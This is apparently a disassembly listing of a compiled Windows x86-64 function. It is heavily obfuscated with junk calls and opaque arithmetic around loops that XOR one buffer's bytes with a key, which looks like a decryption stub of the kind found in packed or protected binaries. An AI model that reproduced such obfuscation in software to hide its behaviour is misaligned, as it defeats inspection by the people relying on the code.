mov eax, dword [r15]
mov dword [rbp + 0x264], eax
mov rax, qword [rbp + 0x248]
mov ecx, dword [rbp + 0x264]
mov dword [rbp + 0x260], ecx
mov qword [rbp + 0x220], rax
movzx eax, byte [rbp + 0x286]
cmp al, 1
jne 0x140009fd7
mov rax, qword [rbp + 0x248]
add rax, 4
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
movzx eax, byte [rax]
mov byte [rbp + 0x297], al
movzx eax, byte [rbp + 0x297]
mov byte [rbp + 0x288], al
movzx eax, byte [rbp + 0x288]
mov dword [rbp + 0x258], eax
mov eax, dword [r15]
mov dword [rbp + 0x254], eax
mov eax, dword [rbp + 0x258]
mov ecx, dword [rbp + 0x254]
sub ecx, eax
mov dword [rbp + 0x26c], ecx
movzx eax, byte [rbp + 0x286]
movzx r8d, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xc5d938
mov r9d, r8d
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x84
mov r8d, 0xc49226
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x2d
mov r8d, 0x6f5daf
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x270]
sub rsp, 0x20
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x270]
sub rsp, 0x20
movabs rcx, 0x3c0918ae8b65ca3b
call fcn.1400057e0
mov edx, 0x24
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x297]
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xf1
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0x69c1
mov r8d, edx
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xd7
mov r8d, edx
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x4e37
call fcn.1400057e0
movabs rcx, 0x37cba9789bde0434
call fcn.1400057e0
mov ecx, 0xfffffffc
call fcn.1400057e0
add rsp, 0x20
add eax, dword [rbp + 0x26c]
mov rcx, qword [rbp + 0x228]
mov dword [rcx], eax
movzx eax, byte [rbp + 0x288]
mov byte [rbp + 0x28a], al
movzx eax, byte [rbp + 0x295]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xff
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 4
call fcn.1400057e0
add rsp, 0x20
movzx r8d, byte [rbp + 0x297]
sub rsp, 0x20
mov edx, 0x5f
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx ecx, byte [rbp + 0x28a]
cmp cl, al
setne byte [rbp + 0x285]
sub rsp, 0x20
mov ecx, 0x22
mov edx, 0x89
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0x7759
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x270]
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x7d
call fcn.1400057e0
mov ecx, 0x8d41
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x2d5da3afe155f95a
lea rcx, [rsi + 4]
sub rsp, 0x20
mov edx, 0xd6
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x285]
movzx eax, byte [rbp + 0x295]
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0x7a
mov r8d, 0x90
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x9f
call fcn.1400057e0
mov ecx, 0xb0
mov edx, 0x11f582
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x1241
call fcn.1400057e0
add rsp, 0x20
movzx r8d, byte [rbp + 0x297]
sub rsp, 0x20
mov edx, 0xad
mov rcx, rsi
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov r8d, 0x8c8b74
mov r9d, 0x1b
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x26c]
cmp eax, 5
setge byte [rbp + 0x284]
movzx eax, byte [rbp + 0x28a]
movzx r8d, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0x70
mov edx, 0xdb
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x4d
call fcn.1400057e0
mov ecx, 0xc07f
call fcn.1400057e0
add rsp, 0x20
movzx r8d, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0x46
mov edx, 0x24
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, edx
call fcn.1400057e0
add rsp, 0x20
movzx edx, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xb477
mov r8d, 0xc01490
call fcn.1400057e0
add rsp, 0x20
movzx ecx, byte [rbp + 0x285]
movzx eax, byte [rbp + 0x284]
cmp cl, 1
jne 0x14000a60d
test al, 1
je 0x14000a60d
movzx esi, byte [rbp + 0x288]
mov qword [rbp + 0x210], rsi
mov rdi, qword [rbp + 0x210]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x26c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x26c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x26c]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x26c]
sub rsp, 0x20
movabs rcx, 0x7d656a35e5b24da5
mov edx, esi
call fcn.1400057e0
mov edx, 0xad
mov r8d, 0x91
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x258]
mov eax, dword [rbp + 0x254]
mov eax, dword [rbp + 0x258]
mov eax, dword [rbp + 0x254]
mov eax, dword [rbp + 0x258]
mov eax, dword [rbp + 0x254]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x829a95ca1a4db25f
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 4
mov r9d, 0xd9ce94
mov edx, esi
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
add rax, rdi
add rax, qword [rbp + 0x248]
mov qword [rbp + 0x240], rax
mov r13, qword [rbp + 0x228]
mov eax, dword [r13]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1b8], rax
mov r15, qword [rbp + 0x1b8]
movzx r12d, byte [rbp + 0x295]
sub rsp, 0x20
mov ecx, 0xb6
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x290]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xc31
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xc1
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x35f1b0
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x61ff
mov edx, 0xd2
mov r8d, 0xf27d06
call fcn.1400057e0
add rsp, 0x20
imul eax, edi
xor ebx, ebx
cmp r14d, eax
sete bl
sub rsp, 0x20
movabs rcx, 0x29bb7dc7edc29b17
mov edx, esi
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
add rdi, r14
movzx eax, byte [rbp + 0x284]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x64
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xd6448238123d64ea
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
xor rax, r14
add rax, rdi
and rax, r15
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x188], rax
mov r14d, dword [r13]
movzx eax, byte [rbp + 0x284]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x264]
mov eax, dword [rbp + 0x264]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, 0xeb
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x264]
mov eax, dword [rbp + 0x264]
sub rsp, 0x20
movabs rdi, 0x27c454735397d9e8
mov rcx, rdi
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x28a]
mov eax, dword [rbp + 0x25c]
mov eax, dword [rbp + 0x25c]
mov eax, dword [rbp + 0x25c]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
or rdi, 1
sub rsp, 0x20
mov r8d, 0x354b21
mov rcx, rdi
mov edx, esi
call fcn.1400057e0
mov ecx, 1
mov edx, 0xb1be3b
call fcn.1400057e0
add rsp, 0x20
cmp r14d, eax
sete byte [rbp + 0x283]
movzx eax, byte [rbp + 0x296]
mov esi, eax
sub esi, ebx
neg ebx
mov ecx, ebx
xor ecx, eax
sub esi, ecx
and ebx, eax
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, esi
mov qword [rbp + 0x1e0], rbx
movzx esi, byte [rbp + 0x286]
lea edi, [rsi + r14]
mov eax, esi
xor eax, r14d
sub edi, eax
and esi, r14d
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov ecx, eax
shl esi, cl
xor esi, edi
mov qword [rbp + 0x1e8], rsi
cmp byte [rbp + 0x283], 0
jne 0x140009e33
mov r12, qword [rbp + 0x1b8]
movzx eax, byte [rbp + 0x296]
mov rax, qword [rbp + 0x200]
sub rsp, 0x20
mov ecx, 1
mov rdx, r12
call fcn.1400057e0
movabs rcx, 0x2dd7265aebff3e60
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1a8]
movzx eax, byte [rbp + 0x283]
sub rsp, 0x20
movabs rcx, 0xd228d9a61400c19e
call fcn.1400057e0
mov ecx, 0xfffffffe
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
and rax, r12
mov rcx, qword [rbp + 0x1f0]
mov qword [rcx], rax
movzx eax, byte [rbp + 0x285]
movzx eax, byte [rbp + 0x297]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xcd
mov r8, r12
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x158b96
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x49
call fcn.1400057e0
mov ecx, 2
mov r8d, 0x7d
mov rdx, r12
call fcn.1400057e0
xor ecx, ecx
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov qword [rbp + 0x1c8], rax
movzx eax, byte [rbp + 0x28a]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov edx, 0x7f
mov r8d, 0xa7b115
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov qword [rbp + 0x1d0], rax
mov rsi, qword [rbp + 0x200]
movzx r15d, byte [rbp + 0x283]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov r13, rax
xor r13d, r15d
or r13d, esi
mov ebx, esi
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x1f
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
imul r14d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 2
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
imul eax, edi
sub eax, r15d
xor esi, r15d
sub esi, r13d
sub esi, r14d
xor esi, eax
mov qword [rbp + 0x1d8], rsi
mov r12, qword [rbp + 0x1d8]
mov r14, qword [rbp + 0x1d0]
mov rsi, qword [rbp + 0x1c8]
mov rdi, qword [rbp + 0x210]
lea ebx, [rdi + r14]
mov eax, edi
xor eax, r14d
sub ebx, eax
mov r15d, edi
and r15d, r14d
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov ecx, eax
shl r15d, cl
xor r15d, ebx
cmp rsi, rdi
cmovb r15, rsi
mov rax, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x218]
movzx edi, byte [rcx + r15]
movzx ecx, byte [rax + r14]
xor cl, dil
mov byte [rax + r14], cl
sub rsp, 0x20
mov ecx, 0x96
mov r8d, 0xb311bd
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x10
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x17b3
mov r8d, 0xb4
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xe2
mov r8d, 0x36
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
or esi, r12d
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x89
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xca8d
mov r8d, 0x77c679
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
imul eax, ebx
xor esi, esi
cmp edi, eax
sete sil
sub rsp, 0x20
movabs rbx, 0x6abdf3aafd16dfa
mov rcx, rbx
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rdi, rsi
sub rsp, 0x20
mov ecx, 1
mov rdx, r12
mov r8, r12
call fcn.1400057e0
add rsp, 0x20
lea rcx, [rbx + 1]
sub rsp, 0x20
mov rdx, r12
mov r8, r12
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov r8d, 0xf6
xor ecx, ecx
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov r13, rax
xor r13, rsi
xor r13, rdi
add r13, r15
sub rsp, 0x20
mov ecx, 0xbd
mov edx, 0x31
mov r8, r12
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x1a
mov r8, r12
mov r9, r12
call fcn.1400057e0
mov ecx, 0x86d7
mov r8d, 0x603f19
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xea
call fcn.1400057e0
mov ecx, 0xff
mov rdx, r12
call fcn.1400057e0
mov ecx, 0x34d3
call fcn.1400057e0
mov edx, 0x882e89
mov r8d, 0x615bcd
movabs rsi, 0x7ed19e74b77a6530
mov rcx, rsi
call fcn.1400057e0
mov ecx, 0xe3
mov edx, 0x84
mov r8d, 0xfd
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x5e1b
mov r8d, 0xeb
mov rdx, r12
call fcn.1400057e0
mov ecx, 0x8c
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xff
mov rdx, r12
mov r8, r12
call fcn.1400057e0
mov ecx, 0x21c7
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
lea rcx, [rsi + 1]
sub rsp, 0x20
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rsi, r14
or rsi, 1
cmp r13, qword [rbp + 0x210]
mov eax, 0
cmovae r13, rax
sub rsp, 0x20
mov ecx, 0x6e
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xd
mov r8, r12
call fcn.1400057e0
mov ecx, 0x58c7
call fcn.1400057e0
mov ecx, 0xbc
mov r8d, 0x3a
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xd6
mov r8, r12
call fcn.1400057e0
mov ecx, 0xaf9f
mov r8d, 0xa8
mov rdx, r12
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x240]
movzx ecx, byte [rax + rsi]
mov rdx, qword [rbp + 0x218]
xor cl, byte [rdx + r13]
mov byte [rax + rsi], cl
sub rsp, 0x20
mov ecx, 1
mov rdx, r12
mov r8, r12
call fcn.1400057e0
movabs rcx, 0x58886360d70650c9
call fcn.1400057e0
mov edx, 0xed
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0xa7779c9f28f9af38
mov rdx, r12
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
add rdi, r13
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
mov edx, 0x1b
movabs rcx, 0x308f1a169b7aa10b
mov r8, r12
mov r9, r12
call fcn.1400057e0
mov edx, 0x40
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x56
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x3f
call fcn.1400057e0
mov ecx, 2
mov r8d, 0x24
mov r9d, 0x8d
mov rdx, r12
call fcn.1400057e0
movabs rcx, 0x4b96a5e1d7304546
mov rdx, r12
call fcn.1400057e0
xor ecx, ecx
mov rdx, r12
mov r8, r12
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
add rbx, r14
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r12
call fcn.1400057e0
mov ecx, 2
mov edx, 0xa72b73
mov r9d, 0x90
mov r8, r12
call fcn.1400057e0
add rsp, 0x20
movabs rsi, 0x7435b5f694c70e38
lea rcx, [rsi + 2]
sub rsp, 0x20
mov edx, 0x9d95c3
call fcn.1400057e0
mov edx, 0x84
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x70
mov edx, 0xd9
mov r8, r12
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xa70260
call fcn.1400057e0
mov ecx, 0xcf0b
mov rdx, r12
call fcn.1400057e0
mov ecx, 0xb4
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x88f3
mov r8d, 0x11
mov rdx, r12
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
mov edx, 0x10
xor ecx, ecx
call fcn.1400057e0
mov ecx, 2
mov rdx, r12
mov r8, r12
call fcn.1400057e0
add rsp, 0x20
add rax, r12
mov rcx, qword [rbp + 0x1f0]
cmp rax, qword [rcx]
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rbx
jne 0x1400098c0
mov r13, qword [rbp + 0x1e8]
mov qword [rbp + 0x180], r13
mov rdi, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1f8]
mov qword [rax], rdi
mov r12, qword [rbp + 0x188]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x6d
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
xor r15d, edi
or r15d, r13d
mov esi, r13d
or esi, edi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
xor ebx, r13d
sub rsp, 0x20
mov ecx, 2
mov edx, 0xaf4ee6
mov r8d, 0xe082ff
call fcn.1400057e0
add rsp, 0x20
imul eax, ebx
sub eax, edi
xor edi, r13d
sub edi, r15d
sub edi, r14d
xor edi, eax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x240]
mov dword [rbp + 0x260], eax
mov qword [rbp + 0x220], rcx
cmp r12, rdi
je 0x140009fd7
mov rsi, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x1f8]
mov rax, qword [rcx]
cmp rax, rsi
jae 0x140009f3d
mov rdi, qword [rcx]
jmp 0x140009f3f
xor edi, edi
sub rsp, 0x20
mov ecx, 0xd7
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x5a
call fcn.1400057e0
mov ecx, 0x8dc5
mov edx, 0x74d8e4
call fcn.1400057e0
mov ecx, 0x63
mov r8d, 0xa4
mov r9d, 0xd0c4a3
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0x4dfb
mov rdx, rsi
mov r8, rsi
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x180]
movzx edx, byte [rax + rcx]
mov rbx, qword [rbp + 0x218]
xor dl, byte [rbx + rdi]
mov byte [rax + rcx], dl
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x240]
mov dword [rbp + 0x260], eax
mov qword [rbp + 0x220], rcx
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x1b0], rax
mov eax, dword [rbp + 0x260]
mov dword [rbp + 0x28c], eax
mov eax, dword [rbp + 0x28c]
mov dword [rbp + 0x234], eax
cmp qword [rbp + 0x1b0], 0
setne byte [rbp + 0x28b]
mov eax, dword [rbp + 0x234]
mov dword [rbp + 0x274], eax
mov edx, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
mov edx, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
add rsp, 0x20
mov edx, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov r8d, 0x31
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x274]
sub rsp, 0x20
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
sub rsp, 0x20
mov edx, 0x6b
mov r8d, 0x49
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov ecx, dword [rbp + 0x274]
cmp ecx, eax
setg byte [rbp + 0x282]
movzx eax, byte [rbp + 0x28b]
and al, byte [rbp + 0x282]
and al, 1
mov byte [rbp + 0x289], al
movzx eax, byte [rbp + 0x289]
cmp al, 1
jne 0x14000a60d
movzx r15d, byte [rbp + 0x28b]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xda6d9e
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, r15d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
mov ecx, 2
mov r8d, 0x90
mov edx, r15d
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
movabs rcx, 0xf61fe8c70058fc8f
mov r8d, 0x31
mov edx, r15d
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x282]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, r15d
mov r8d, r15d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
movabs rcx, 0xe2ae79d340000000
call fcn.1400057e0
mov edx, 0x7d
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x274]
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x33b97cc88b322d93
mov edx, r15d
call fcn.1400057e0
xor ecx, ecx
mov edx, r15d
mov r8d, r15d
call fcn.1400057e0
add rsp, 0x20
movzx eax, byte [rbp + 0x289]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x231c36
call fcn.1400057e0
movabs rcx, 0xcc46833774cdd270
mov edx, 0xb769b1
mov r8d, 0xeb
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movzx esi, byte [rbp + 0x28b]
movzx r12d, byte [rbp + 0x289]
mov r13d, r12d
not r13d
or r13d, esi
mov edi, esi
or edi, r12d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r15d
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xc8a43c
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 2
mov edx, r15d
mov r8d, r15d
call fcn.1400057e0
add rsp, 0x20
imul ebx, eax
sub ebx, r12d
xor esi, r12d
sub esi, r13d
sub esi, r14d
xor esi, ebx
sub rsp, 0x20
movabs rcx, 0x6e015ed6aba8045d
call fcn.1400057e0
add rsp, 0x20
add esi, eax
movzx eax, byte [rbp + 0x289]
movzx eax, byte [rbp + 0x28b]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0x91fea1295457fba5
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor edi, eax
add edi, esi
movzx eax, byte [rbp + 0x282]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xad
mov r8d, 0x7d
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
sub rsp, 0x20
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x28c]
movabs rbx, 0x4bf95ca52b465c46
lea rcx, [rbx + 0x80]
sub rsp, 0x20
mov edx, 0x40
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
